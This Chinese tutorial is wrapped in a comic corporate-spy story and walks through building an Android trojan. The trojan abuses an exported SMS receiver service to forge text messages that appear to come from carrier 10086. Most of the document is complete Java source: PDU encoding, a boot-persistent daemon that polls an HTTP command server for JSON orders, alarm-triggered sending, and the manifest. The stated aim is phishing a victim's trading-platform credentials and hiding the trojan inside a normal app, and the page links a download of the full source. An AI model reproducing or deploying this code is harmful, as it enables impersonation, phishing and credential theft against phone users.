4d 5e 认识刘尼玛
在一个阳光明媚的早晨,小职员刘尼玛像往常一样来到了公司,从表面上看,他是个普通的上班族,每天照常挤地铁,加班,但实际上,他是某秘密组织派到公司卧底的商业间谍,代号叉叉圈圈。
刘尼玛不是高富帅,相反是典型的屌丝,他得到的情报大部分来源于老总的秘书兼公开情人杨尼美,挫丑穷的刘尼玛之所以能吸引到身材火辣的杨尼美,只是因 为他长了一张性感的香肠嘴,杨尼美最喜欢香肠嘴的男人,与刘尼玛有着同样特征的还有老总,只不过杨尼美喜欢的不止是他的香肠嘴,还有他手里大把的票子。
这家公司有个最奇怪的现象,普通职员刘尼玛和老总的秘书杨尼美当众调情,老总本人却毫不介意,甚至装作什么也不知道,这一点刘尼玛自己也相当诧异。
“或许老总只是把杨尼美当作玩物吧,对她并不是真的上心.” 刘尼玛一边想,一边把一本名叫《三只小猪的故事》的儿童读物装进纸袋子,交给快递员。”这是我给小侄女买的。” 刘尼玛告诉同事。其实这不是一本普通的书,书的某一页上有他传递给组织的最新信息。
0×00 一个安卓漏洞的原理
刘尼玛传来的信息说,他注意到老总经常在一个在线交易平台上进行操作,他需要一个短信木马来伪造该交易平台发送的短信,诱使老总访问钓鱼页面来获得账号和密码,现在我是刘尼玛的”Q博士”,我来帮他造这个木马:
我这里有一个2012年底发布的高危短信漏洞,虽然是老洞,但并不代表没有利用价值,因为移动平台的漏洞生命力是相当强的,原因是没有PC上那么完善 的漏洞修补体系,安卓系统漏洞需要进行系统更新来修补,大部分时候是要重刷固件的,这一点普通用户根本办不到,大部分山寨厂家甚至根本不会推出更新固件, 所以一个用户买到手机的时候系统是安卓2.3,五年以后他可能还在用这个版本.
该漏洞影响android4.2以下所有版本,在安卓系统的底层短信代码中,一个名为com.android.mms.transaction.SmsReceiverService的服务的android:export属性被设置为了true,也就是说,外部程序可以任意调用这个服务。
在安卓系统接收到pdu短信代码之后, 会通过名为android.provider.Telephony.SMS_RECEIVED的action调用此服务,先将pdu短信解码,然后将之显 示在手机屏幕上,恶意攻击者可以在自己的程序中通过一个同名的action,不经过任何短信接收程序,直接伪造一条pdu短信调用此服务,具体过程如下图 所示:
根据这个流程可以看出,这个漏洞发送的短信并不经过GSM网络,所以即使手机没有插sim卡,也照样可以收到短信,这让大部分的短信防火墙完全失效。
0×01 PDU短信的结构
要利用此漏洞,我们首先要清楚手机短信的结构,短信在手机操作系统中并不是以我们平常见到的文本格式传送的,而是有特定的编码格 式,其中最为广泛使用的就是PDU,短信被编码成PDU串,然后转换成byte传输,这其中发送短信和接收短信的PDU串格式是不同的,由于这个漏洞直接 触发了接收流程,所以这里我们只介绍接收格式,发送格式请自行google.
接收短信的PDU结构如下:
SCA |
PDU TYPE |
OA |
PID |
DCS |
SCTS |
UDL |
UD |
||||
短信中心地址 |
PDU类型(可选) |
发送短信的手机地址 |
协议标志 一般为00 |
编码标准 |
短信接收的时间 |
短信内容的长度 |
短信内容 |
||||
长度 |
短信中心类型(可选) |
短信中心号码 |
长度 |
地址类型(可选) |
发送号码 |
看着晕了吧,其实并不复杂,下面每部分分别叙述:
1 SCA短信中心地址
实际上中间的短信中心类型大部分时候是不用的,我们只需构造号码的长度+号码即可。
2 PDU TYPE短信类型
有七个值可选,一般写04代表普通sms短信.
3 OA 手机地址
格式同SCA。
4 PID 协议标志
所有运营商都支持00这个值,所以直接输入。
5 DCS 编码标准
一般常用的是两种,输入00代表7bit编码,只能传输英文,输入08代表UCS2编码,可以传输中文,但最多只能传送70个字,这就是为什么我们在发送长短信时常常被分割成几段的原因,这里我们理所当然要输入08.
6 SCTS 接收时间
这个时间所用的格式与我们平常所见的不同,是一种倒过来的格式,结构如下:
年+月+日+时+分+秒+offset
其中每一项都是反着位数写的,且年份为两位数,比如2013年11月20日21时38分51秒,按这个格式写就是:
31110212831523
最后的23是offset,代表你现在所处时区和格林威治时间所偏移的值,查阅资料得知北京时间的值就是23.
7和8没什么好解释的,就是短信的长度和内容.
之所以费了这一大段讲述PDU的结构,是因为不熟悉这个,后面的内容根本无法看懂。
ff d8 休息一下,刘尼玛乱入
这个漏洞在安卓4.2以下才有效,那到底刘尼玛老总的手机是不是在这个范围内?列位看官放心,这个刘尼玛早就打听到了,老总的手机是2012年8月份买 的,也就是在4.2发布之前,这个重要情报是在杨尼美坐在刘尼玛大腿上调情的时候,刘尼玛好不容易套出来的,当时的刘尼玛早已经”飞龙在天”,他一边咽着 口水一边拼命把它记了下来,屌丝情报员真不容易啊。
0×02 漏洞触发的代码实现
光把短信编码成PDU串是不够的,短信的号码和内容实际上是以二进制的BCD码格式传输的,google已经提供了十进制数转 BCD码的函数networkPortionToCalledPartyBCD,我们可以直接把号码转换成BCD,至于短信内容,这个比较复杂,直接从网 上扒拉了一个现成的字符串转BCD函数str2Bcd.
新建一个工程,名为SMSAttack,将主要攻击代码写成一个名为smsservice的服务,该服务在AndroidManifesy.xml中注册名称为SMS_SERVICE.
代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
/**
* project name:android伪造短信0day利用程序;
* class name:smsservice 短信伪造服务;
* version:0×04;
* update:2014-01-12;
* author:b41k3r
*/
package com.baiker.SMSAttack;
import java.io.*;
import java.util.*;
import android.app.*;
import android.content.*;
import android.os.*;
import android.telephony.PhoneNumberUtils;
import android.util.Log;
public class smsservice extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public void onDestroy() {
super.onDestroy();
}
/**
* 在onStartCommand时发送短信
*/
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
for(int i=1;i<=10;i++) //设定短信发送次数为10次
{
createFakeSms(getApplicationContext(),”10086”,”移动就是垃圾”); //冒充10086发送短信
}
return START_NOT_STICKY;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
|
/**
* 短信发送函数,直接以PDU编码形式通过名为android.provider.Telephony.SMS_RECE
* IVED的action调用系统的com.android.mms.transaction.SmsReceiverService服务
* 启动短信接收流程。
* @param context
* @param sender:伪造的发件人号码
* @param body:发送的内容
*/
private static void createFakeSms(Context context, String sender, String body) {
byte[] pdu = null;
byte[] scBytes = PhoneNumberUtils.networkPortionToCalledPartyBCD(“0000000000″); //短信中心号码,调用networkPortionToCalledPartyBCD转换为BCD二进制码格式.
byte[] senderBytes = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender); //伪造的发信号码.
int lsmcs = scBytes.length; //短信中心的号码长度。
try {
ByteArrayOutputStream bo = new ByteArrayOutputStream();
bo.write(lsmcs);
bo.write(scBytes); //以上两项是SCA
bo.write(0×04); //PDU TYPE
bo.write((byte) sender.length()); //所伪造发件号码的长度。
bo.write(senderBytes); //以上两项是OA
bo.write(0×00); //PID
try {
byte[] bodybytes = EncodeUCS2(body,null); //用EncodeUCS2函数将短信内容编码为UCS2,短信的长度在函数中已经计算并加入body的头部.
bo.write(0×08); // 0×08代表UCS-2编码格式
//Log.e(“编码结果”,getBCDString());
bo.write(str2Bcd(getBCDString())); //以BCD格式写入当前时间
bo.write(bodybytes); //写入短信内容
} catch (Exception e) {
Log.e(“编码失败”, “” + e.getMessage());
}
pdu = bo.toByteArray(); //最后把结果转换成byte
} catch (IOException e) {
Log.e(“Error”, “” + e.getMessage());
}
Intent intent = new Intent(); intent.setClassName(“com.android.mms”,“com.android.mms.transaction.SmsReceiverService”); //准备调用com.android.mms.transaction.SmsReceiverService
intent.setAction(“android.provider.Telephony.SMS_RECEIVED”); //action名称必须是 android.provider.Telephony.SMS_RECEIVED
intent.putExtra(“pdus”, new Object[] { pdu });
intent.putExtra(“format”, “3gpp”);
context.startService(intent); //启动service,开启短信接收。
}
/**
* 取当前日期并转换为BCD格式
* 输出String共14位,每两位为一时间单位,每个时间单位均为位数倒置,最后两位是offset:
* 年+月+日+时+分+秒+offset
* 只适用于offset取值23的情况
* @return
*/
private static String getBCDString(){
String BCDDate=“”;
String YEAR,MONTH,DAY,HOUR,MINUTE,SECOND;
Calendar now = Calendar.getInstance();
YEAR=String.valueOf(now.get(Calendar.YEAR));
MONTH=String.valueOf(now.get(Calendar.MONTH)+1); //Calendar的月份是从0开始的,即0代表1月份,故此处要加1.
DAY=String.valueOf(now.get(Calendar.DAY_OF_MONTH));
HOUR=String.valueOf(now.get(Calendar.HOUR_OF_DAY));
MINUTE=String.valueOf(now.get(Calendar.MINUTE));
SECOND=String.valueOf(now.get(Calendar.SECOND));
BCDDate=FmtBCDDate(YEAR.substring(2))+FmtBCDDate(MONTH)+FmtBCDDate(DAY)+
FmtBCDDate(HOUR)+FmtBCDDate(MINUTE)+FmtBCDDate(SECOND)+“23″; //offset为23
return BCDDate;
}
/**
* 日期格式化函数,一位数后面加零变两位数,两位数则颠倒位数
* @param s
* @return
*/
private static String FmtBCDDate(String s){
if(ReverseInt(Integer.parseInt(s)).equals(“0″))
{
return “00″;
}
else
{
if(ReverseInt(Integer.parseInt(s)).length()==1)
return ReverseInt(Integer.parseInt(s))+“0″;
else
return ReverseInt(Integer.parseInt(s));
}
}
/**
* 整数位数颠倒函数 ,输出String.
* @param i
* @return
*/
private static String ReverseInt(int i){
StringBuffer bs = new StringBuffer(String.valueOf(i));
return bs.reverse().toString();
}
/**
* String转BCD编码函数,来自网络.
* @param asc
* @return
*/
private static byte[] str2Bcd(String asc) {
int len = asc.length();
int mod = len % 2;
if (mod != 0) {
asc = “0″ + asc;
len = asc.length();
}
byte abt[] = new byte[len];
if (len >= 2) {
len = len / 2;
}
byte bbt[] = new byte[len];
abt = asc.getBytes();
int j, k;
for (int p = 0; p < asc.length()/2; p++) {
if ( (abt[2 * p] >= ’0′) && (abt[2 * p] <= ’9′)) {
j = abt[2 * p] - ’0′;
} else if ( (abt[2 * p] >= ‘a’) && (abt[2 * p] <= ‘z’)) {
j = abt[2 * p] - ‘a’ + 0x0a;
} else {
j = abt[2 * p] - ‘A’ + 0x0a;
}
if ( (abt[2 * p + 1] >= ’0′) && (abt[2 * p + 1] <= ’9′)) {
k = abt[2 * p + 1] - ’0′;
} else if ( (abt[2 * p + 1] >= ‘a’) && (abt[2 * p + 1] <= ‘z’)) {
k = abt[2 * p + 1] - ‘a’ + 0x0a;
}else {
k = abt[2 * p + 1] - ‘A’ + 0x0a;
}
int a = (j << 4) + k;
byte b = (byte) a;
bbt[p] = b;
}
return bbt;
}
/**
* 以UCS-2格式编码String,用于发送汉字,使用此格式编码最多可发送70个字。
* @param message
* @param header
* @return
* @throws UnsupportedEncodingException
*/
private static byte[] EncodeUCS2(String message, byte[] header)
throws UnsupportedEncodingException {
byte[] userData, textPart;
textPart = message.getBytes(“UTF-16BE”);
if (header != null) {
userData = new byte[header.length + textPart.length + 1];
userData[0] = (byte)header.length;
System.arraycopy(header, 0, userData, 1, header.length);
System.arraycopy(textPart, 0, userData, header.length + 1, textPart.length);
}
else {
userData = textPart;
}
byte[] ret = new byte[userData.length+1];
ret[0] = (byte) (userData.length & 0xff );
System.arraycopy(userData, 0, ret, 1, userData.length);
return ret;
}
}
在AndroidManifest.xml中注册此服务:
<service android:name=“.smsservice”>
<intent-filter>
<action android:name=“com.baiker.SMS_SERVICE” />
<category android:name=“android.intent.category.default” />
</intent-filter>
</service>
在程序默认的Activity中启动此服务:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startService(new Intent(“com.baiker.SMS_SERVICE”));
}
|
在手机上调试,程序启动后,收到10条冒充移动公司发来的短信:
注意我这里测试用的手机上并没有插sim卡,但仍然成功收到短信。
0×03 从Exploit到完善的木马
上面这个程序虽然实现了伪造短信的过程,但充其量只能算是个Exploit,要把它改造成一个可用的钓鱼木马,我们还有很多工作要做.
安卓平台的木马程序和PC上的有很大的不同,其原因主要有以下两个方面:
一是网络的问题,手机和平板不可能时时都有稳定的网络连接,会经常在不同的wifi和gsm网络之间切换,而且有时网络会被人为关闭,所以安卓木马注定是被动连接的,且不能使用socket,只能基于http协议来反向连接.
二是流量的问题,安卓手机上都有流量监控软件,当处在gsm网络时,控制端不可能发送大量的数据包,这样会引发流量报警的.
基于以上考虑,我们需要设计一个流程来打造我们的木马:
首先我们需要注册一个新的服务smsdaemon,在AndroidManifest.xml中的注册名称为SMS_DAEMON,并把它设置为开机 自动启动,当启动后,开始探测网络连接,如果有网络可用,则连接远程控制端的http服务器,获取控制指令,触发SMS_SERVICE服务发送短信,如 果没有网络可用,则在后台等待,注册网络状态监听广播BootBroadcastReceiver,当网络可用时再连接服务器。
以上方法有个问题,每当网络状态改变一次, SMS_DAEMON就会从服务器获取指令触发短信接收,因为手机的网络状态经常改变,所以短信有可能被重复发送很多次,所以接下来我们要给 SMS_SERVICE注册一个AlarmReceiver广播,在服务器上加入时间控制指令,SMS_SERVICE接到SMS_DAEMON发来的控 制指令,会一直等待,直到到达指令中指定的触发时间才发送短信,具体流程如下图所示:
然后是流量的问题,一般来说,手机客户端从http服务器获取数据有两种方式:xml和json,显然后者要省流量的多,所以我们需要先搭建一个web服务器,然后在上面构建一个json控制页面。
Web服务器地球人都知道如何搭建,我在这里不再详述,只构造json的指令结构:
number: string 伪造的短信发件人号码
message: string 短信内容.
count: int 短信的发送次数.
issend: bool 是否发送短信.
date: string 短信的触发时间.
一条完整的控制指令应该是下面的样子:
{“command”:{“number”:”10086″,”message”:”移动不是垃圾”,”count”:1,”issend”:true,“date”:”2014_01_10_00_00_00″}}
我们还要在SMS_DAEMON中编写代码,让它在获取指令后将其存入SharedPreferences中,调用SMS_SERVICE后再由其从中读取.
现在万事具备,我们来看如何用代码实现:
注册一个BootBroadcastReceiver,将SMS_DAEMON设为开机启动:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package com.baiker.SMSAttack;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class BootBroadcastReceiver extends BroadcastReceiver {
static final String action_boot=“android.intent.action.BOOT_COMPLETED”;
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(action_boot)){
Intent smssrv = new Intent();
smssrv.setAction(“com.baiker.SMS_DAEMON”);
context.startService(smssrv);
}
}
}
|
再写一个AlarmReceiver来监听时间:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
/**
* project name:android伪造短信0day利用程序;
* class name:AlarmReceiver 闹钟广播监听类
* version:0×01;
* update time:2013-12-22;
* author:b41k3r
*/
package com.baiker.SMSAttack;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class AlarmReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent smssrv = new Intent();
smssrv.setAction(“com.baiker.SMS_SERVICE”);
context.startService(smssrv); //启动短信伪造后台服务
}
}
|
将所有的服务和广播在AndroidManifest.xml中注册,最终代码如下:
[AndroidManifest.xml]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
<?xml version=“1.0″ encoding=“utf-8″?>
<manifest xmlns:android=“http://schemas.android.com/apk/res/android”
package=“com.baiker.SMSAttack”
android:versionCode=“1″
android:versionName=“1.0″ >
<uses-sdk android:minSdkVersion=“8″/>
<application
android:allowBackup=“true”
android:icon=“@drawable/ic_launcher”
android:label=“@string/app_name”
android:theme=“@style/AppTheme” >
<activity
android:name=“com.baiker.SMSAttack.MainActivity”
android:label=“@string/app_name” >
<intent-filter>
<action android:name=“android.intent.action.MAIN” />
<category android:name=“android.intent.category.LAUNCHER” />
</intent-filter>
</activity>
<service android:name=“.smsservice”>
<intent-filter>
<action android:name=“com.baiker.SMS_SERVICE” />
<category android:name=“android.intent.category.default” />
</intent-filter>
</service>
<service android:name=“.smsdaemon”>
<intent-filter>
<action android:name=“com.baiker.SMS_DAEMON” />
<category android:name=“android.intent.category.default” />
</intent-filter>
</service>
<receiver android:name=“.AlarmReceiver” android:process=“.smsalarm”/>
<receiver
android:name=“.BootBroadcastReceiver”
android:label=“@string/app_name” >
<intent-filter>
<action android:name=“android.intent.action.BOOT_COMPLETED” />
<category android:name=“android.intent.category.DEFAULT”/>
</intent-filter>
</receiver>
</application>
<uses-permission android:name=“android.permission.ACCESS_NETWORK_STATE”/>
<uses-permission android:name=“android.permission.INTERNET”/>
<uses-permission android:name=“android.permission.RECEIVE_BOOT_COMPLETED” />
</manifest>
|
SMS_DAEMON的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
|
/**
* project name:android伪造短信0day利用程序;
* class name:smsdaemon 远程控制监听服务;
* version:0×02;
* update time:2014-01-10;
* author:b41k3r
*/
package com.baiker.SMSAttack;
import java.io.*;
import java.util.*;
import android.os.*;
import android.util.Log;
import android.app.*;
import android.content.*;
import android.content.SharedPreferences.Editor;
import android.net.*;
import android.net.NetworkInfo.State;
import org.apache.http.*;
import org.apache.http.client.*;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.util.EntityUtils;
import org.json.*;
public class smsdaemon extends Service {
private String SvrAddress=“http://192.168.0.10/test<a name=”baidusnap7“></a><b style=”color: white; background-color: #886800;”>.html</b>”;
private ConnectivityManager connectivityManager;
private JSONObject jsonObject = null;
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
IntentFilter mFilter = new IntentFilter();
mFilter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
registerReceiver(mReceiver, mFilter); //注册网络状态监听广播
}
@Override
public void onDestroy() {
super.onDestroy();
unregisterReceiver(mReceiver);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
return START_NOT_STICKY;
}
/**
* 连接远程控制服务器读取json格式控制字符串
* @param URL
* @return
*/
private String getControlCommand(String URL){
HttpGet request=new HttpGet(URL);
HttpClient hc=new DefaultHttpClient();
try {
HttpResponse hr=hc.execute(request);
if(hr.getStatusLine().getStatusCode()==HttpStatus.SC_OK)
{
String result=EntityUtils.toString(hr.getEntity(),“GBK”);
return result;
}
else
{
return “”;
}
} catch (ClientProtocolException e) {
Log.e(“Error”, “” + e.getMessage());
} catch (IOException e) {
Log.e(“Error”, “” + e.getMessage());
}
return “”;
}
/**
* 网络状态监听广播
*/
private BroadcastReceiver mReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
State wifiState = null;
State mobileState = null;
connectivityManager = (ConnectivityManager)context.getSystemService(Context.CONNECTIVITY_SERVICE);
wifiState = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).getState();
mobileState = connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE).getState();
if (wifiState != null && State.CONNECTED == wifiState){ //仅测试只有wifi网络可用时的情况,但其他网络状况是代码相同
String RequestStr=getControlCommand(SvrAddress); //json格式控制命令的URL
if(!RequestStr.equals(“”))
{
try {
jsonObject = new JSONObject(RequestStr).getJSONObject(“command”);
SharedPreferences sp = getSharedPreferences(“command”, MODE_PRIVATE);
//将json控制命令的各项值分别存入SharedPreferences
Editor editor = sp.edit();
editor.putString(“number”, jsonObject.getString(“number”));
editor.putString(“message”, jsonObject.getString(“message”));
editor.putInt(“count”, jsonObject.getInt(“count”));
editor.putBoolean(“issend”, jsonObject.getBoolean(“issend”));
editor.putString(“date”, jsonObject.getString(“date”));
editor.commit();
String date = jsonObject.getString(“date”);
Calendar c=Calendar.getInstance();
c.set(Calendar.YEAR,Integer.parseInt(date.split(“_”)[0]));
c.set(Calendar.MONTH,Integer.parseInt(date.split(“_”)[1])-1); //Calendar的月份格式是从0开始的,故要减去1
c.set(Calendar.DAY_OF_MONTH, Integer.parseInt(date.split(“_”)[2]));
c.set(Calendar.HOUR_OF_DAY, Integer.parseInt(date.split(“_”)[3]));
c.set(Calendar.MINUTE, Integer.parseInt(date.split(“_”)[4]));
c.set(Calendar.SECOND, Integer.parseInt(date.split(“_”)[5]));
//将json中的时间字符转换为Calendar格式
Calendar now = Calendar.getInstance();
int result=c.compareTo(now); //比较json命令中的时间和当前时间,如果晚于当前时间,则启动AlarmManager开始计时
if(result>0)
{
Intent intentalarm=new Intent(context,AlarmReceiver.class);
PendingIntent pi=PendingIntent.getBroadcast(context, 0, intentalarm,0);
AlarmManager am=(AlarmManager)getSystemService(ALARM_SERVICE);
am.set(AlarmManager.RTC_WAKEUP, c.getTimeInMillis(), pi);
//am.set(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+5*1000,pi);
}
} catch (JSONException e) {
Log.e(“Error”, “” + e.getMessage());
}
}
}
else if (wifiState != null && mobileState != null && State.CONNECTED != wifiState && State.CONNECTED == mobileState)
{ //wifi与gprs均可用
}
else if (wifiState != null && mobileState != null && State.CONNECTED != wifiState && State.CONNECTED != mobileState)
{ //仅有gprs可用
}
}
};
}
|
我是屌丝,没有域名和固定ip,所以只在局域网测试了wifi网络的情况,如果要测试gsm网络,只需把SvrAddress改成公网的域名或固定ip地址,改一下上面的if语句即可.
现在修改SMS_SERVICE的onStartCommand,让服务在启动时自动从SharedPrefeRences中读取控制参数,然后发送短信:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
/**
* 在onStartCommand时读取SharedPreferences
* number为伪造的短信发送号码 ,message是发送的内容,count为发送次数,issend为true时才启动发送进程。
*/
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
SharedPreferences sp = getSharedPreferences(“command”, MODE_PRIVATE);
String number = sp.getString(“number”, “”);
String message = sp.getString(“message”, “”);
boolean issend = sp.getBoolean(“issend”, false);
int count = sp.getInt(“count”, 9);
if(issend)
{
for(int i=1;i<=count;i++)
{
createFakeSms(getApplicationContext(),number,message); //发送短信
}
}
return START_NOT_STICKY;
}
|
将程序默认的Avtivity中启动的服务改为SMS_DAEMON:
1
2
3
4
5
|
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startService(new Intent(“com.baiker.SMS_DAEMON”));
}
|
0×04 运行结果
代码编写完成后,编译并上传到手机调试,在控制指令指定的时间,手机成功收到了短信:
90 90 刘尼玛现在还不能使用它
木马是编写完成了,但还不能投入使用,因为我们要把它注入到一个正常的程序中,欺骗刘尼玛的老总安装它,但那是另一个故事了……
预知后事如何,且听下回分解.
本文的所有源代码和本文的PDF版已打包提供下载:
http://kuai.xunlei.com/d/mw6yCs3ziN7bUgQA5e3
[via@b41k3r]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号